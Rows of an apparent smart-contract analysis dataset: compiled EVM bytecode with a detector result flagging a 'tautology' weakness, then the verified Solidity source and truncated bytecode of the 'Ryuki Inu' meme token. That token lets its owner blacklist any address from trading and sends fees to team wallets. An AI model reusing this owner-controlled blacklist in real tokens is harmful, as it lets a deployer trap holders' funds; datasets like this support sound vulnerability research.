0000000000000000000000000000081525060200191505060405180910390fd5b86600360008a67ffffffffffffffff1667ffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff16021790555084600360008867ffffffffffffffff1667ffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff16021790555082600360008667ffffffffffffffff1667ffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff16021790555080600360008467ffffffffffffffff1667ffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff1602179055505050505050505050565b606060006112e9836107a7565b90506040518060a00160405280606281526020016124dc606291396040516020018082805190602001908083835b6020831061133a5780518252602082019150602081019050602083039250611317565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405160208183030381529060405291506000600867ffffffffffffffff8111801561138a57600080fd5b506040519080825280601f01601f1916602001820160405280156113bd5781602001600182028036833780820191505090505b50905060005b60188110156117535760005b6018811015611745576000600482601885020102905060008560038301815181106113f657fe5b602001015160f81c60f81b60f81c60ff1611156117375760005b600481101561153c576000868284018151811061142957fe5b602001015160f81c60f81b60f81c90507f3031323334353637383961626364656600000000000000000000000000000000600f821660ff166010811061146b57fe5b1a60f81b86600160028502018151811061148157fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535060048160ff16901c90507f3031323334353637383961626364656600000000000000000000000000000000600f821660ff16601081106114ec57fe5b1a60f81b8660028402815181106114ff57fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350508080600101915050611410565b50856115478361222d565b6115508561222d565b866040516020018085805190602001908083835b602083106115875780518252602082019150602081019050602083039250611564565b6001836020036101000a038019825116818451168082178552505050505050905001807f3c7265637420783d22000000000000000000000000000000000000000000000081525060090184805190602001908083835b6020831061160057805182526020820191506020810190506020830392506115dd565b6001836020036101000a038019825116818451168082178552505050505050905001807f2220793d2200000000000000000000000000000000000000000000000000000081525060050183805190602001908083835b602083106116795780518252602082019150602081019050602083039250611656565b6001836020036101000a038019825116818451168082178552505050505050905001806124a1603b9139603b0182805190602001908083835b602083106116d557805182526020820191506020810190506020830392506116b2565b6001836020036101000a038019825116818451168082178552505050505050905001807f222f3e000000000000000000000000000000000000000000000000000000000081525060030194505050505060405160208183030381529060405295505b5080806001019150506113cf565b5080806001019150506113c3565b50826040518060400160405280600681526020017f3c2f7376673e00000000000000000000000000000000000000000000000000008152506040516020018083805190602001908083835b602083106117c1578051825260208201915060208101905060208303925061179e565b6001836020036101000a03801982511681845116808217855250505050505090500182805190602001908083835b6020831061181257805182526020820191506020810190506020830392506117ef565b6001836020036101000a0380198251168184511680821785525050505050509050019250505060405160208183030381529060405292505050919050565b606060008261ffff161015801561186c57506127108261ffff16105b61187557600080fd5b600060648361ffff168161188557fe5b0490506000600860648561ffff168161189a57fe5b060261ffff16905060005b6008811015611b21576000600460008560ff1660ff1681526020019081526020016000208284018154600181600116156101000203166002900481106118e757fe5b8154600116156119065790600052602060002090602091828204019190065b9054901a7f01000000000000000000000000000000000000000000000000000000000000000260f81c905060008160ff161115611b0d576000821115611a535784600260008360ff1660ff1681526020019081526020016000206040516020018083805190602001908083835b602083106119965780518252602082019150602081019050602083039250611973565b6001836020036101000a038019825116818451168082178552505050505050905001807f2c2000000000000000000000000000000000000000000000000000000000000081525060020182805460018160011615610100020316600290048015611a375780601f10611a15576101008083540402835291820191611a37565b820191906000526020600020905b815481529060010190602001808311611a23575b5050925050506040516020818303038152906040529450611b08565b600260008260ff1660ff1681526020019081526020016000208054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611b005780601f10611ad557610100808354040283529160200191611b00565b820191906000526020600020905b815481529060010190602001808311611ae357829003601f168201915b505050505094505b611b13565b50611b21565b5080806001019150506118a5565b505050919050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611bec576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f4f6e6c79206465706c6f7965722e00000000000000000000000000000000000081525060200191505060405180910390fd5b600560149054906101000a900460ff1615611c6f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f436f6e7472616374207365616c65642e0000000000000000000000000000000081525060200191505060405180910390fd5b8060009080519060200190611c85929190612367565b5050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611d4c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f4f6e6c79206465706c6f7965722e00000000000000000000000000000000000081525060200191505060405180910390fd5b600560149054906101000a900460ff1615611dcf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f436f6e7472616374207365616c65642e0000000000000000000000000000000081525060200191505060405180910390fd5b81600160008560ff1660ff1681526020019081526020016000209080519060200190611dfc929190612367565b5080600260008560ff1660ff1681526020019081526020016000209080519060200190611e2a9291906123f5565b50505050565b60008060048760f81c60ff1602905060008060038301815460018160011615610100020316600290048110611e6157fe5b815460011615611e805790600052602060002090602091828204019190065b9054901a7f01000000000000000000000000000000000000000000000000000000000000000260f81c905060ff8160ff161415612015578060ff166008600060028501815460018160011615610100020316600290048110611ede57fe5b815460011615611efd5790600052602060002090602091828204019190065b9054901a7f01000000000000000000000000000000000000000000000000000000000000000260f81c60ff16901b6010600060018601815460018160011615610100020316600290048110611f4e57fe5b815460011615611f6d5790600052602060002090602091828204019190065b9054901a7f01000000000000000000000000000000000000000000000000000000000000000260f81c60ff16901b6018600086815460018160011615610100020316600290048110611fbb57fe5b815460011615611fda5790600052602060002090602091828204019190065b9054901a7f01000000000000000000000000000000000000000000000000000000000000000260f81c60ff16901b17171760e01b9250612222565b60008460f81c60ff1660088760f81c60ff1667ffffffffffffffff16901b60108960f81c60ff1667ffffffffffffffff16901b60188b60f81c60ff1667ffffffffffffffff16901b60208660ff1667ffffffffffffffff16901b6028600060028a0181546001816001161561010002031660029004811061209257fe5b8154600116156120b15790600052602060002090602091828204019190065b9054901a7f01000000000000000000000000000000000000000000000000000000000000000260f81c60ff1667ffffffffffffffff16901b6030600060018b0181546001816001161561010002031660029004811061210c57fe5b81546001161561212b5790600052602060002090602091828204019190065b9054901a7f01000000000000000000000000000000000000000000000000000000000000000260f81c60ff1667ffffffffffffffff16901b603860008b81546001816001161561010002031660029004811061218357fe5b8154600116156121a25790600052602060002090602091828204019190065b9054901a7f01000000000000000000000000000000000000000000000000000000000000000260f81c60ff1667ffffffffffffffff16901b171717171717179050600360008267ffffffffffffffff1667ffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1660e01b9350505b505095945050505050565b60606000821415612275576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050612362565b600082905060005b6000821461229f578080600101915050600a828161229757fe5b04915061227d565b60008167ffffffffffffffff811180156122b857600080fd5b506040519080825280601f01601f1916602001820160405280156122eb5781602001600182028036833780820191505090505b5090505b6000851461235b57600182039150600a858161230757fe5b0660300160f81b81838151811061231a57fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a858161235357fe5b0494506122ef565b8093505050505b919050565b828054600181600116156101000203166002900490600052602060002090601f01602090048101928261239d57600085556123e4565b82601f106123b657805160ff19168380011785556123e4565b828001600101855582156123e4579182015b828111156123e35782518255916020019190600101906123c8565b5b5090506123f19190612483565b5090565b828054600181600116156101000203166002900490600052602060002090601f01602090048101928261242b5760008555612472565b82601f1061244457805160ff1916838001178555612472565b82800160010185558215612472579182015b82811115612471578251825591602001919060010190612456565b5b50905061247f9190612483565b5090565b5b8082111561249c576000816000905550600101612484565b509056fe222077696474683d223122206865696768743d2231222073686170652d72656e646572696e673d2263726973704564676573222066696c6c3d2223646174613a696d6167652f7376672b786d6c3b757466382c3c73766720786d6c6e733d22687474703a2f2f7777772e77332e6f72672f323030302f737667222076657273696f6e3d22312e32222076696577426f783d22302030203234203234223ea2646970667358221220b5cb11115801def41650f7bf1e201c6d351bae4bbea91fcfec5f6b5be6c6f5b364736f6c63430007060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "tautology", "impact": "Medium", "confidence": "High"}]}} | 120 |
0x25537a82ae84f65bcb274eb619faacf3c94acc8d | /**
*Submitted for verification at Etherscan.io on 2021-06-06
*/
/*
* https://t.me/ryukuinu
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract RyukiInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Ryuki Inu";
string private constant _symbol = 'RYUKU';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 2;
uint256 private _teamFee = 8;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
if(from != address(this)){
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 1 * 10**12 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061161f565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117ce565b6040518082815260200191505060405180910390f35b60606040518060400160405280600981526020017f5279756b6920496e750000000000000000000000000000000000000000000000815250905090565b600061076b610764611855565b848461185d565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610793848484611a54565b6108548461079f611855565b61084f85604051806060016040528060288152602001613d4160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611855565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122b39092919063ffffffff16565b61185d565b600190509392505050565b610867611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611855565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf81612373565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246e565b90505b919050565b610bd5611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f5259554b55000000000000000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611855565b8484611a54565b6001905092915050565b610ddf611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6